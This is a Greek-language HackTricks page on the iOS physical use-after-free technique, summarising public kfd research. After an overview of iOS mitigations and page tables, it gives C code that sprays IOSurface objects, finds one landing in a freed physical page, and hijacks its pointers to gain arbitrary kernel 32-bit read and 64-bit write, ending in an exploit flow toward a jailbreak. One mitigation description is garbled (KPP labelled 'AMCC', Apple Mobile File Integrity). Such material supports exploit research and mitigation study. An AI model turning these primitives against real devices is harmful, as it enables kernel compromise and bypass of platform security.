hacktricks/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md

24 KiB
Raw Blame History

iOS Physical Use After Free via IOSurface

{{#include ../../banners/hacktricks-training.md}}

iOS Exploit Mitigations

  • Code Signing in iOS λειτουργεί απαιτώντας κάθε κομμάτι εκτελέσιμου κώδικα (apps, libraries, extensions, κ.λπ.) να είναι κρυπτογραφικά υπογεγραμμένο με πιστοποιητικό που εκδίδεται από την Apple. Όταν φορτώνεται ο κώδικας, το iOS επαληθεύει την ψηφιακή υπογραφή σε σχέση με το αξιόπιστο root της Apple. Εάν η υπογραφή είναι άκυρη, λείπει ή έχει τροποποιηθεί, το OS αρνείται να το εκτελέσει. Αυτό αποτρέπει επιθέσεις που επιχειρούν να εγχύσουν κακόβουλο κώδικα σε νόμιμες εφαρμογές ή να τρέξουν unsigned binaries, σταματώντας την πλειονότητα των exploit chains που βασίζονται στην εκτέλεση αυθαίρετου ή τροποποιημένου κώδικα.
  • CoreTrust είναι το subsystem του iOS υπεύθυνο για την επιβολή του code signing στο runtime. Επαληθεύει απευθείας υπογραφές χρησιμοποιώντας το root πιστοποιητικό της Apple χωρίς να βασίζεται σε cached trust stores, πράγμα που σημαίνει ότι μόνο binaries υπογεγραμμένα από την Apple (ή με έγκυρα entitlements) μπορούν να εκτελεστούν. Το CoreTrust εξασφαλίζει ότι ακόμα και αν κάποιος χειριστεί μια εφαρμογή μετά την εγκατάσταση, τροποποιήσει system libraries ή προσπαθήσει να φορτώσει unsigned code, το σύστημα θα μπλοκάρει την εκτέλεση εκτός αν ο κώδικας παραμένει σωστά υπογεγραμμένος. Αυτή η αυστηρή επιβολή κλείνει πολλούς μετα-exploitation vectors που παλαιότερες εκδόσεις iOS επέτρεπαν μέσω ασθενέστερων ή παρακάμπτων signature checks.
  • Data Execution Prevention (DEP) σηματοδοτεί περιοχές μνήμης ως non-executable εκτός αν περιέχουν ρητώς κώδικα. Αυτό εμποδίζει την έγχυση shellcode σε data regions (όπως stack ή heap) και την εκτέλεσή του, αναγκάζοντας τους επιτιθέμενους να βασιστούν σε πιο σύνθετες τεχνικές όπως ROP (Return-Oriented Programming).
  • ASLR (Address Space Layout Randomization) τυχαΐζει τις διευθύνσεις μνήμης του κώδικα, των libraries, του stack και του heap κάθε φορά που τρέχει το σύστημα. Αυτό δυσκολεύει σημαντικά τους επιτιθέμενους να προβλέψουν πού βρίσκονται χρήσιμες εντολές ή gadgets, διαταράσσοντας πολλές αλυσίδες εκμετάλλευσης που εξαρτώνται από σταθερές διατάξεις μνήμης.
  • KASLR (Kernel ASLR) εφαρμόζει την ίδια ιδέα τυχαιοποίησης στον kernel του iOS. Με το να ανακατεύει τη base address του kernel σε κάθε boot, αποτρέπει τους επιτιθέμενους από το να εντοπίζουν αξιόπιστα kernel functions ή structures, αυξάνοντας τη δυσκολία σε kernel-level exploits που διαφορετικά θα αποκτούσαν πλήρη έλεγχο του συστήματος.
  • Kernel Patch Protection (KPP), επίσης γνωστό ως AMCC (Apple Mobile File Integrity) στο iOS, παρακολουθεί συνεχώς τις code pages του kernel για να διασφαλίσει ότι δεν έχουν τροποποιηθεί. Αν εντοπιστεί οποιαδήποτε χειραγώγηση—όπως ένα exploit που προσπαθεί να αλλάξει kernel functions ή να εισάγει κακόβουλο κώδικα—η συσκευή θα κάνει panic και θα επανεκκινήσει αμέσως. Αυτή η προστασία κάνει τα persistent kernel exploits πολύ πιο δύσκολα, αφού οι επιτιθέμενοι δεν μπορούν απλά να κάνουν hook ή patch σε kernel instructions χωρίς να προκαλέσουν system crash.
  • Kernel Text Readonly Region (KTRR) είναι μια hardware-based λειτουργία ασφαλείας που εισήχθη σε συσκευές iOS. Χρησιμοποιεί το memory controller της CPU για να δηλώσει το kernels code (text) section ως μόνιμα read-only μετά το boot. Μόλις κλειδωθεί, ακόμη και ο ίδιος ο kernel δεν μπορεί να τροποποιήσει αυτήν την περιοχή μνήμης. Αυτό εμποδίζει επιτιθέμενους—και ακόμα και privileged code—από το να κάνουν patch σε kernel instructions στο runtime, κλείνοντας μια μεγάλη κατηγορία εκμεταλλεύσεων που βασίζονταν στην απευθείας τροποποίηση του kernel code.
  • Pointer Authentication Codes (PAC) χρησιμοποιούν κρυπτογραφικές υπογραφές ενσωματωμένες σε ανεκμετάλλευτα bits των pointers για να επαληθεύσουν την ακεραιότητά τους πριν τη χρήση. Όταν ένας pointer (π.χ. return address ή function pointer) δημιουργείται, η CPU τον υπογράφει με ένα secret key; πριν την απο-αναφορά, η CPU ελέγχει την υπογραφή. Αν ο pointer έχει τροποποιηθεί, ο έλεγχος αποτυγχάνει και η εκτέλεση σταματάει. Αυτό αποτρέπει επιτιθέμενους από το να πλαστογραφήσουν ή να ξαναχρησιμοποιήσουν corrupted pointers σε memory corruption exploits, καθιστώντας τεχνικές όπως ROP ή JOP πολύ πιο δύσκολες στην αξιοποίηση.
  • Privilege Access never (PAN) είναι μια λειτουργία hardware που αποτρέπει τον kernel (privileged mode) από το να προσπελάσει άμεσα user-space μνήμη εκτός αν ενεργοποιήσει ρητά την πρόσβαση. Αυτό εμποδίζει τους επιτιθέμενους που απέκτησαν kernel code execution από το να διαβάσουν ή να γράψουν εύκολα user memory για escalation ή κλοπή ευαίσθητων δεδομένων. Εφαρμόζοντας αυστηρό διαχωρισμό, το PAN μειώνει τον αντίκτυπο των kernel exploits και μπλοκάρει πολλές κοινές τεχνικές privilege-escalation.
  • Page Protection Layer (PPL) είναι ένας μηχανισμός ασφαλείας του iOS που προστατεύει κρίσιμες περιοχές μνήμης που διαχειρίζεται ο kernel, ειδικά αυτές που σχετίζονται με code signing και entitlements. Εφαρμόζει αυστηρές write protections χρησιμοποιώντας την MMU και επιπλέον ελέγχους, εξασφαλίζοντας ότι ακόμα και privileged kernel code δεν μπορεί αυθαίρετα να τροποποιήσει ευαίσθητες σελίδες. Αυτό αποτρέπει τους επιτιθέμενους που αποκτούν kernel-level execution από την παραποίηση security-critical δομών, καθιστώντας την persistence και την παράκαμψη code-signing σημαντικά πιο δύσκολες.

Physical use-after-free

This is a summary from the post from https://alfiecg.uk/2024/09/24/Kernel-exploit.html moreover further information about exploit using this technique can be found in https://github.com/felix-pb/kfd

Memory management in XNU

Ο χώρος διευθύνσεων εικονικής μνήμης για τις διεργασίες χρήστη στο iOS εκτείνεται από 0x0 έως 0x8000000000. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα σε φυσική μνήμη. Αντίθετα, ο kernel χρησιμοποιεί πίνακες σελίδων (page tables) για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές φυσικές διευθύνσεις.

Levels of Page Tables in iOS

Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα:

  1. L1 Page Table (Level 1):
  • Κάθε εγγραφή εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης.
  • Καλύπτει 0x1000000000 bytes256 GB) εικονικής μνήμης.
  1. L2 Page Table (Level 2):
  • Μία εγγραφή εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα 0x2000000 bytes (32 MB).
  • Μια εγγραφή L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να χαρτογραφήσει ολόκληρη την περιοχή από μόνη της.
  1. L3 Page Table (Level 3):
  • Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε εγγραφή χαρτογραφεί μία μοναδική σελίδα μνήμης 4 KB.
  • Μια εγγραφή L2 μπορεί να δείχνει σε έναν πίνακα L3 αν απαιτείται πιο λεπτομερής έλεγχος.

Mapping Virtual to Physical Memory

  • Direct Mapping (Block Mapping):
  • Ορισμένες εγγραφές σε έναν πίνακα σελίδων αντιστοιχούν άμεσα ένα εύρος εικονικών διευθύνσεων σε ένα συνεχόμενο εύρος φυσικών διευθύνσεων (σαν σύντομος δρόμος).
  • Pointer to Child Page Table:
  • Εάν απαιτείται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ. L1) μπορεί να δείχνει σε έναν child page table στο επόμενο επίπεδο (π.χ. L2).

Example: Mapping a Virtual Address

Ας υποθέσουμε ότι προσπαθείτε να προσπελάσετε την εικονική διεύθυνση 0x1000000000:

  1. L1 Table:
  • Ο kernel ελέγχει την εγγραφή του L1 page table που αντιστοιχεί σε αυτή την εικονική διεύθυνση. Εάν αυτή έχει έναν pointer to an L2 page table, πηγαίνει στον αντίστοιχο πίνακα L2.
  1. L2 Table:
  • Ο kernel ελέγχει τον L2 page table για μια πιο λεπτομερή αντιστοίχιση. Εάν η εγγραφή αυτή δείχνει σε έναν L3 page table, προχωράει εκεί.
  1. L3 Table:
  • Ο kernel κοιτάζει την τελική εγγραφή L3, η οποία δείχνει στη φυσική διεύθυνση της πραγματικής σελίδας μνήμης.

Example of Address Mapping

Εάν γράψετε τη φυσική διεύθυνση 0x800004000 στο πρώτο index του L2 table, τότε:

  • Οι εικονικές διευθύνσεις από 0x1000000000 έως 0x1002000000 αντιστοιχούν σε φυσικές διευθύνσεις από 0x800004000 έως 0x802004000.
  • Αυτή είναι μια block mapping σε επίπεδο L2.

Εναλλακτικά, αν η εγγραφή L2 δείχνει σε έναν πίνακα L3:

  • Κάθε σελίδα 4 KB στην εικονική περιοχή 0x1000000000 -> 0x1002000000 θα χαρτογραφείται από μεμονωμένες εγγραφές στον L3 πίνακα.

Physical use-after-free

Μια physical use-after-free (UAF) συμβαίνει όταν:

  1. Μια διεργασία δεσμεύει (allocates) κάποια μνήμη ως readable and writable.
  2. Οι page tables ενημερώνονται για να χαρτογραφήσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που η διεργασία μπορεί να προσπελάσει.
  3. Η διεργασία απελευθερώνει (deallocates / frees) τη μνήμη.
  4. Ωστόσο, λόγω ενός bug, ο kernel ξεχνά να αφαιρέσει την αντιστοίχιση από τους πίνακες σελίδων, παρότι σηματοδοτεί τη σχετική φυσική μνήμη ως ελεύθερη.
  5. Ο kernel μπορεί στη συνέχεια να επαναεκχωρήσει αυτήν την "απελευθερωμένη" φυσική μνήμη για άλλες χρήσεις, όπως για kernel data.
  6. Εφόσον η αντιστοίχιση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να διαβάσει και να γράψει σε αυτήν την φυσική μνήμη.

Αυτό σημαίνει ότι η διεργασία μπορεί να προσπελάσει σελίδες του kernel memory, οι οποίες μπορεί να περιέχουν ευαίσθητα δεδομένα ή δομές, ενδεχομένως επιτρέποντας σε έναν επιτιθέμενο να χειραγωγήσει το kernel memory.

IOSurface Heap Spray

Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες kernel σελίδες θα εκχωρηθούν στη freed memory, χρησιμοποιεί μια τεχνική που ονομάζεται heap spray:

  1. Ο επιτιθέμενος δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface στην kernel μνήμη.
  2. Κάθε αντικείμενο IOSurface περιέχει μια magic value σε ένα από τα fields του, κάνοντάς τα εύκολα αναγνωρίσιμα.
  3. Σαρώνει τις απελευθερωμένες σελίδες για να δει αν κάποιο από αυτά τα αντικείμενα IOSurface προσγειώθηκε σε μια freed σελίδα.
  4. Όταν εντοπίσει ένα αντικείμενο IOSurface σε μια freed σελίδα, μπορεί να το χρησιμοποιήσει για να διαβάσει και να γράψει kernel memory.

More info about this in https://github.com/felix-pb/kfd/tree/main/writeups

Tip

Να γνωρίζετε ότι οι συσκευές iOS 16+ (A12+) φέρνουν hardware mitigations (όπως PPL ή SPTM) που καθιστούν τις τεχνικές physical UAF πολύ λιγότερο εφαρμόσιμες. PPL επιβάλλει αυστηρές προστασίες MMU σε σελίδες που σχετίζονται με code signing, entitlements και ευαίσθητα kernel δεδομένα, οπότε ακόμα και αν μια σελίδα ξαναχρησιμοποιηθεί, οι εγγραφές από userland ή συμβιβασμένο kernel code σε PPL-protected σελίδες αποκλείονται. Secure Page Table Monitor (SPTM) επεκτείνει το PPL ενισχύοντας τις ίδιες τις ενημερώσεις των page tables. Εξασφαλίζει ότι ακόμα και privileged kernel code δεν μπορεί αθόρυβα να remap-άρει freed σελίδες ή να παραποιήσει αντιστοιχίσεις χωρίς να περάσει από ασφαλείς ελέγχους. KTRR (Kernel Text Read-Only Region), που κλειδώνει το code section του kernel ως read-only μετά το boot. Αυτό αποτρέπει οποιεσδήποτε runtime τροποποιήσεις στον kernel code, κλείνοντας ένα μεγάλο attack vector που συχνά αξιοποιούνταn τα physical UAF exploits. Επιπλέον, οι κατανομές IOSurface είναι πλέον λιγότερο προβλέψιμες και δυσκολότερο να χαρτογραφηθούν σε περιοχές προσβάσιμες από user, γεγονός που κάνει το κόλπο του “magic value scanning” πολύ λιγότερο αξιόπιστο. Και το IOSurface πλέον προστατεύεται από entitlements και sandbox περιορισμούς.

Step-by-Step Heap Spray Process

  1. Spray IOSurface Objects: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με έναν ειδικό identifier ("magic value").
  2. Scan Freed Pages: Ελέγχει αν κάποιο από τα αντικείμενα έχει εκχωρηθεί σε μια freed σελίδα.
  3. Read/Write Kernel Memory: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτά τη δυνατότητα για arbitrary reads and writes στην kernel μνήμη. Αυτό του επιτρέπει:
  • Να χρησιμοποιήσει ένα πεδίο για να διαβάσει οποιαδήποτε 32-bit τιμή στην kernel μνήμη.
  • Να χρησιμοποιήσει άλλο πεδίο για να γράψει 64-bit τιμές, επιτυγχάνοντας ένα σταθερό kernel read/write primitive.

Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for:

void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Αναζήτηση για αντικείμενα IOSurface σε μία ελευθερωμένη φυσική σελίδα:

int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Επίτευξη ανάγνωσης/εγγραφής του πυρήνα με IOSurface

Μετά τον έλεγχο ενός αντικειμένου IOSurface στη μνήμη του πυρήνα (mapped σε μια freed physical page προσβάσιμη από userspace), μπορούμε να το χρησιμοποιήσουμε για arbitrary kernel read and write operations.

Βασικά Πεδία στο IOSurface

Το αντικείμενο IOSurface έχει δύο κρίσιμα πεδία:

  1. Use Count Pointer: Επιτρέπει ένα 32-bit read.
  2. Indexed Timestamp Pointer: Επιτρέπει ένα 64-bit write.

Με την υπερχείλιση αυτών των δεικτών, τους ανακατευθύνουμε σε αυθαίρετες διευθύνσεις στη μνήμη του πυρήνα, ενεργοποιώντας δυνατότητες read/write.

32-Bit Kernel Read

Για να εκτελέσετε μια ανάγνωση:

  1. Αντικαταστήστε το use count pointer ώστε να δείχνει στη διεύθυνση-στόχο μείον 0x14-byte offset.
  2. Χρησιμοποιήστε τη μέθοδο get_use_count για να διαβάσετε την τιμή σε εκείνη τη διεύθυνση.
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-Bit Kernel Write

Για να πραγματοποιήσετε μια εγγραφή:

  1. Αντικαταστήστε τον δείκτη ευρετηριασμένης χρονοσφραγίδας με τη διεύθυνση-στόχο.
  2. Χρησιμοποιήστε τη μέθοδο set_indexed_timestamp για να γράψετε μια 64-bit τιμή.
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Ανακεφαλαίωση Ροής Exploit

  1. Προκαλέστε Φυσικό Use-After-Free: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση.
  2. Spray IOSurface Objects: Δεσμεύστε πολλά αντικείμενα IOSurface με μια μοναδική "magic value" στη μνήμη του πυρήνα.
  3. Εντοπίστε Προσβάσιμο IOSurface: Εντοπίστε ένα IOSurface σε μια απελευθερωμένη σελίδα που ελέγχετε.
  4. Εκμετάλλευση Use-After-Free: Τροποποιήστε δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετο kernel read/write μέσω μεθόδων IOSurface.

Με αυτά τα primitives, το exploit παρέχει ελεγχόμενα 32-bit reads και 64-bit writes στη μνήμη του πυρήνα. Επιπλέον βήματα για το jailbreak θα μπορούσαν να περιλαμβάνουν πιο σταθερά read/write primitives, που μπορεί να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ. PPL σε νεότερες συσκευές arm64e).

{{#include ../../banners/hacktricks-training.md}}